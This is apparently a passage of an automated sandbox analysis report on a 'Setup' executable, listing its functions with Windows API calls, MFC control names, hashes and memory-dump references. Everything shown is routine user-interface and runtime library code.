Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: ItemWindow$Long$InvalidateMenuRectShow$Ctrl
String ID:
API String ID: 599340499-0
Opcode ID: c461145287a795dac3dd04c9fced099e10644155aca01fdae3a7f86c104345a9
Instruction ID: 3075c743b4b9a619e9a06fc6cf08ee8bc4ae1c180c45733de4af58daa014492c
Opcode Fuzzy Hash: c461145287a795dac3dd04c9fced099e10644155aca01fdae3a7f86c104345a9
Instruction Fuzzy Hash: 29914A30A11656EFDF15AF64C888BADBBF1FF08310F1445A6F915AB2A0DB70AD50CB91

Function 00BDE332 Relevance: 21.2, APIs: 1, Strings: 11, Instructions: 205COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00BDE339

Part of subcall function 00C6EF1D: __EH_prolog3.LIBCMT ref: 00C6EF24

Strings

MFCPropertyGrid, xrefs: 00BDE4E7
MFCLink, xrefs: 00BDE43C
MFCEditBrowse, xrefs: 00BDE3CA
MFCMenuButton, xrefs: 00BDE4AE
MFCShellTree, xrefs: 00BDE552
MFCButton, xrefs: 00BDE353
MFCColorButton, xrefs: 00BDE391
MFCVSListBox, xrefs: 00BDE584
MFCFontComboBox, xrefs: 00BDE403
MFCShellList, xrefs: 00BDE520
MFCMaskedEdit, xrefs: 00BDE475

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: H_prolog3
String ID: MFCButton$MFCColorButton$MFCEditBrowse$MFCFontComboBox$MFCLink$MFCMaskedEdit$MFCMenuButton$MFCPropertyGrid$MFCShellList$MFCShellTree$MFCVSListBox
API String ID: 431132790-2110171958
Opcode ID: 163a752eb367abf561feab380080793a0700046af17695352d46bb47be4bcb87
Instruction ID: 24a912247c3ec45afd087ce0a397068b5b16ab176578f2f1d2f9bc70221991f1
Opcode Fuzzy Hash: 163a752eb367abf561feab380080793a0700046af17695352d46bb47be4bcb87
Instruction Fuzzy Hash: 0551692170830696EF24F7B4A90276DB6E09F6575CF2040ABE525EA3C1FF74CA00A656

Function 00BCD9DA Relevance: 19.9, APIs: 13, Instructions: 412windowCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00BCD9E4
GetWindowRect.USER32(?,?), ref: 00BCDA7D
SetRect.USER32(?,00000000,00000000,?,?), ref: 00BCDAA3
CreateCompatibleDC.GDI32(?), ref: 00BCDAAF
CreateCompatibleBitmap.GDI32(?,?,?), ref: 00BCDAD9
GetWindowRect.USER32(?,?), ref: 00BCDB3B
GetClientRect.USER32(?,?), ref: 00BCDB48
OffsetRect.USER32(?,?,?), ref: 00BCDB69
IsRectEmpty.USER32(?), ref: 00BCDB99
InflateRect.USER32(?,000000FE,00000000), ref: 00BCDE71
CreateRectRgnIndirect.GDI32(?), ref: 00BCDBAA

Part of subcall function 00B6CE46: SelectClipRgn.GDI32(?,00000000), ref: 00B6CE6A
Part of subcall function 00B6CE46: SelectClipRgn.GDI32(?,00000000), ref: 00B6CE82

SetRectEmpty.USER32(?), ref: 00BCDC30
BitBlt.GDI32(?,?,?,?,?,?,?,?,00CC0020), ref: 00BCDF48

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Rect$Create$ClipCompatibleEmptySelectWindow$BitmapClientH_prolog3_IndirectInflateOffset
String ID:
API String ID: 3231449308-0
Opcode ID: 59fbd087863bea8274f15b52bf9b0283646e7a7b0c84eede0508c64a231923de
Instruction ID: bc9f4a6b4863c07a128036b6d7d9003d3810615bda56469dbecef8690f7f9e80
Opcode Fuzzy Hash: 59fbd087863bea8274f15b52bf9b0283646e7a7b0c84eede0508c64a231923de
Instruction Fuzzy Hash: 5602D175A002299FCF25DFA4C894BEDBBB5FF08310F0441AAE90AA7251DB746E85CF51

Function 00BACF91 Relevance: 19.8, APIs: 13, Instructions: 288windowCOMMON

Download Yara Rule

APIs

GetMessageW.USER32(?,00000000,0000000F,0000000F), ref: 00BACFC4
DispatchMessageW.USER32(?), ref: 00BACFD2
PeekMessageW.USER32(?,00000000,0000000F,0000000F,00000000), ref: 00BACFE0
GetCapture.USER32 ref: 00BACFEA
SetCapture.USER32(?), ref: 00BACFFE
GetWindowRect.USER32(?,?), ref: 00BAD020
GetCapture.USER32 ref: 00BAD093
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00BAD0B0
DispatchMessageW.USER32(?), ref: 00BAD0D6
GetScrollPos.USER32(00000000,00000002), ref: 00BAD212
RedrawWindow.USER32(00000001,00000000,00000000,00000581), ref: 00BAD22E
ReleaseCapture.USER32 ref: 00BAD2D0
IsWindow.USER32(?), ref: 00BAD2D9

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Message$Capture$Window$Dispatch$PeekRectRedrawReleaseScroll
String ID:
API String ID: 1873598099-0
Opcode ID: fad8fb2daacd5ead9d4ee1d23cb8963458503f712a2963ca52bee156d1f08552
Instruction ID: c25b04cbe363798d0dd24b97994fabe71d9ffe72140daf7e0f0647494ab1352d
Opcode Fuzzy Hash: fad8fb2daacd5ead9d4ee1d23cb8963458503f712a2963ca52bee156d1f08552
Instruction Fuzzy Hash: F5B19C71A05214DFCF149FA4C898BEE7BF5FF4A300F0401BAE806AB295CB709945CBA1

Function 00B8C165 Relevance: 19.7, APIs: 13, Instructions: 249memorywindowCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00000004,?), ref: 00B8C246
GlobalLock.KERNEL32(00000000), ref: 00B8C24F
GlobalUnlock.KERNEL32(00000000), ref: 00B8C260
SetPropW.USER32(?,00000000), ref: 00B8C270
GlobalFree.KERNEL32(00000000), ref: 00B8C27B
IsWindowEnabled.USER32(00000000), ref: 00B8C323
EnableWindow.USER32(00000000,00000000), ref: 00B8C32F
GetCapture.USER32 ref: 00B8C33C
SendMessageW.USER32(00000000,0000001F,00000000,00000000), ref: 00B8C34B
EnableWindow.USER32(00000000,00000001), ref: 00B8C41F
GetActiveWindow.USER32 ref: 00B8C429
SetActiveWindow.USER32(00000000), ref: 00B8C435
EnableWindow.USER32(00000000,00000001), ref: 00B8C474

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Window$Global$Enable$Active$AllocCaptureEnabledFreeLockMessagePropSendUnlock
String ID:
API String ID: 2841214920-0
Opcode ID: 9496f3011739f59ef1ff946285b49ab1f6cb4edc7f9cef79b2d4521b3c04a421
Instruction ID: a2ec633789d3fecbb00fb11ab567ee9befdaa95b7abbd6ba77dc9f99dfefd39f
Opcode Fuzzy Hash: 9496f3011739f59ef1ff946285b49ab1f6cb4edc7f9cef79b2d4521b3c04a421
Instruction Fuzzy Hash: 0891AEB4701606ABDB14BF74D889BADBBE4FF44710F0441AAF515D72A1CB74D902CBA1

Function 00CBF7F5 Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 00CBF839

Part of subcall function 00CBF3F0: _free.LIBCMT ref: 00CBF40D
Part of subcall function 00CBF3F0: _free.LIBCMT ref: 00CBF41F
Part of subcall function 00CBF3F0: _free.LIBCMT ref: 00CBF431
Part of subcall function 00CBF3F0: _free.LIBCMT ref: 00CBF443
Part of subcall function 00CBF3F0: _free.LIBCMT ref: 00CBF455
Part of subcall function 00CBF3F0: _free.LIBCMT ref: 00CBF467
Part of subcall function 00CBF3F0: _free.LIBCMT ref: 00CBF479
Part of subcall function 00CBF3F0: _free.LIBCMT ref: 00CBF48B
Part of subcall function 00CBF3F0: _free.LIBCMT ref: 00CBF49D
Part of subcall function 00CBF3F0: _free.LIBCMT ref: 00CBF4AF
Part of subcall function 00CBF3F0: _free.LIBCMT ref: 00CBF4C1
Part of subcall function 00CBF3F0: _free.LIBCMT ref: 00CBF4D3
Part of subcall function 00CBF3F0: _free.LIBCMT ref: 00CBF4E5

_free.LIBCMT ref: 00CBF82E

Part of subcall function 00CB9108: HeapFree.KERNEL32(00000000,00000000,?,00CBF581,00B67F84,00000000,00B67F84,00000000,?,00CBF5A8,00B67F84,00000007,00B67F84,?,00CBF98E,00B67F84), ref: 00CB911E
Part of subcall function 00CB9108: GetLastError.KERNEL32(00B67F84,?,00CBF581,00B67F84,00000000,00B67F84,00000000,?,00CBF5A8,00B67F84,00000007,00B67F84,?,00CBF98E,00B67F84,00B67F84), ref: 00CB9130

_free.LIBCMT ref: 00CBF850
_free.LIBCMT ref: 00CBF865
_free.LIBCMT ref: 00CBF870
_free.LIBCMT ref: 00CBF892
_free.LIBCMT ref: 00CBF8A5
_free.LIBCMT ref: 00CBF8B3
_free.LIBCMT ref: 00CBF8BE
_free.LIBCMT ref: 00CBF8F6
_free.LIBCMT ref: 00CBF8FD
_free.LIBCMT ref: 00CBF91A
_free.LIBCMT ref: 00CBF932

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 1d402d507d532f689b7fac3bcf41f40776f94ac7441f6a262d48cc023d4ddfc6
Instruction ID: 3d20cc476aef1e5bd170d712966501a26175a0de3aac02682afbdb9443064279
Opcode Fuzzy Hash: 1d402d507d532f689b7fac3bcf41f40776f94ac7441f6a262d48cc023d4ddfc6
Instruction Fuzzy Hash: D9311931A04605ABEB21AB39DC49BDAB7E8EF11350F14446DE568D7291DF32FE41EB20

Function 00B76055 Relevance: 18.2, APIs: 12, Instructions: 175windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00B75FEF: LoadCursorW.USER32(00000000,00007F8B), ref: 00B76007
Part of subcall function 00B75FEF: LoadCursorW.USER32(?,00007901), ref: 00B76024

PeekMessageW.USER32(?,?,00000367,00000367,00000003), ref: 00B7608B
PostMessageW.USER32(?,00000111,0000E145,?), ref: 00B76106
SendMessageW.USER32(?,00000362,0000E002,00000000), ref: 00B7612B
GetCursorPos.USER32(?), ref: 00B76148
PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00B76176
ReleaseCapture.USER32 ref: 00B761CF
SetCapture.USER32(?), ref: 00B761D8
ReleaseCapture.USER32 ref: 00B761E4
SendMessageW.USER32(?,00000362,?,00000000), ref: 00B761F6
SendMessageW.USER32(?,00000111,0000E147,00000000), ref: 00B76236
PostMessageW.USER32(?,0000036A,00000000,00000000), ref: 00B76263

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Message$CaptureCursorSend$LoadPeekPostRelease
String ID:
API String ID: 291007519-0
Opcode ID: bc1326f240dfc2279a033d09017373da38d659066c8d175fdbea36b6e2b9563b
Instruction ID: efe7a475d02c0c8ab3ec24bc8dd856f7a11af3be70b7207046d3d54464a56661
Opcode Fuzzy Hash: bc1326f240dfc2279a033d09017373da38d659066c8d175fdbea36b6e2b9563b
Instruction Fuzzy Hash: FC516E71A01654AFDB119F65CC89FAE7BB9FF48700F1540AAED19AB2A2C7709D00CB51

Function 00CAF3D0 Relevance: 18.0, APIs: 1, Strings: 9, Instructions: 493COMMONLIBRARYCODE

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 00CAF7E3

Strings

A, xrefs: 00CAF597
p, xrefs: 00CAF4E0
f, xrefs: 00CAF4D9
f, xrefs: 00CAF4BD
p, xrefs: 00CAF4C4
p, xrefs: 00CAF526
Z, xrefs: 00CAF5A1
:, xrefs: 00CAF497
f, xrefs: 00CAF51F

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: __aulldvrm
String ID: :$A$Z$f$f$f$p$p$p
API String ID: 1302938615-2466996737
Opcode ID: 30e70968b12ea81ba645edd871b4e7ffc88927dc526c0477c84e4298813a0bea
Instruction ID: bd78dcbb84d01643a20e52576426fc2766bf0e54b21ecc37aaca43bad202cd25
Opcode Fuzzy Hash: 30e70968b12ea81ba645edd871b4e7ffc88927dc526c0477c84e4298813a0bea
Instruction Fuzzy Hash: 73129175D0011A9ADF20CFE5D8486EDB7B6FB06B18FA0816ED458BB280D7344E87CB55

Function 00C18716 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 132COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00C1871D
GetObjectW.GDI32(?,00000018,?), ref: 00C18737

Strings

, xrefs: 00C18781

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: H_prolog3Object
String ID:
API String ID: 133200376-3916222277
Opcode ID: b869370fccd8ec0e4a1a4c6c91a4d45f68994317b25b0f837b198e64a04e50c5
Instruction ID: 99b2f8794bb578d97f8f02744ae4ae80b3927610bd3923d7c8d11e080efea0d9
Opcode Fuzzy Hash: b869370fccd8ec0e4a1a4c6c91a4d45f68994317b25b0f837b198e64a04e50c5
Instruction Fuzzy Hash: 40419C72D04129ABEB119FA0DC44BFEBB74EF46301F544029F911B62A1DF318E49EBA0

Function 00B9D340 Relevance: 16.8, APIs: 11, Instructions: 324windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00BF21A5: ReleaseCapture.USER32 ref: 00BF21DC
Part of subcall function 00BF21A5: IsWindow.USER32(?), ref: 00BF220B
Part of subcall function 00BF21A5: DestroyWindow.USER32(?), ref: 00BF221B

SetRectEmpty.USER32(?), ref: 00B9D36B
ReleaseCapture.USER32 ref: 00B9D371
SetCapture.USER32(?), ref: 00B9D384
GetCapture.USER32 ref: 00B9D3C3
ReleaseCapture.USER32 ref: 00B9D3D3
SetCapture.USER32(?), ref: 00B9D3E6
RedrawWindow.USER32(?,00000000,00000000,00000505), ref: 00B9D484
GetFocus.USER32 ref: 00B9D4FC
NotifyWinEvent.USER32(00008005,00000000,000000FC,00000000), ref: 00B9D530
NotifyWinEvent.USER32(00008005,?,000000FC,00000000), ref: 00B9D714
UpdateWindow.USER32(?), ref: 00B9D743

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Capture$Window$Release$EventNotify$DestroyEmptyFocusRectRedrawUpdate
String ID:
API String ID: 3703002689-0
Opcode ID: 982da29b4cf4e6d9e1bafeb6eae06821c61b52673638a41d50602b1807b4975a
Instruction ID: 1584430e24aa21b777b99e35580a82dd2a127d62efbece8d380bfae5437e5ce1
Opcode Fuzzy Hash: 982da29b4cf4e6d9e1bafeb6eae06821c61b52673638a41d50602b1807b4975a
Instruction Fuzzy Hash: 40C19270700612AFCF19AFB5D894B6DBBE5FF44314F0402BAE929972A1CB74AD41CB91

Function 00BA82F4 Relevance: 15.4, APIs: 10, Instructions: 362windowtimeCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00BA8362
LoadCursorW.USER32(00000000,00007F00), ref: 00BA838D
GetClientRect.USER32(?,?), ref: 00BA83D8
IsWindowVisible.USER32(?), ref: 00BA8629
SetTimer.USER32(?,0000EC15,00000000), ref: 00BA864C
InvalidateRect.USER32(?,00000000,00000001,00D2C588,00000000,00000000,00000000,00000000,00000053), ref: 00BA86BB
UpdateWindow.USER32(?), ref: 00BA86C4

Part of subcall function 00B68B3E: __CxxThrowException@8.LIBVCRUNTIME ref: 00B68B52

__EH_prolog3_GS.LIBCMT ref: 00BA86ED
LoadCursorW.USER32(00000000,00007F00), ref: 00BA8714
GetParent.USER32(?), ref: 00BA8762

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: CursorH_prolog3_LoadRectWindow$ClientException@8InvalidateParentThrowTimerUpdateVisible
String ID:
API String ID: 1243943569-0
Opcode ID: 9a11ac454bfc6e46559f92423d6e0ba762071345dd6b4434c26ba66740bd139d
Instruction ID: b170b22816487f409cc0de2f29eeec54873e9ae2cab5093009738437ee7b87ab
Opcode Fuzzy Hash: 9a11ac454bfc6e46559f92423d6e0ba762071345dd6b4434c26ba66740bd139d
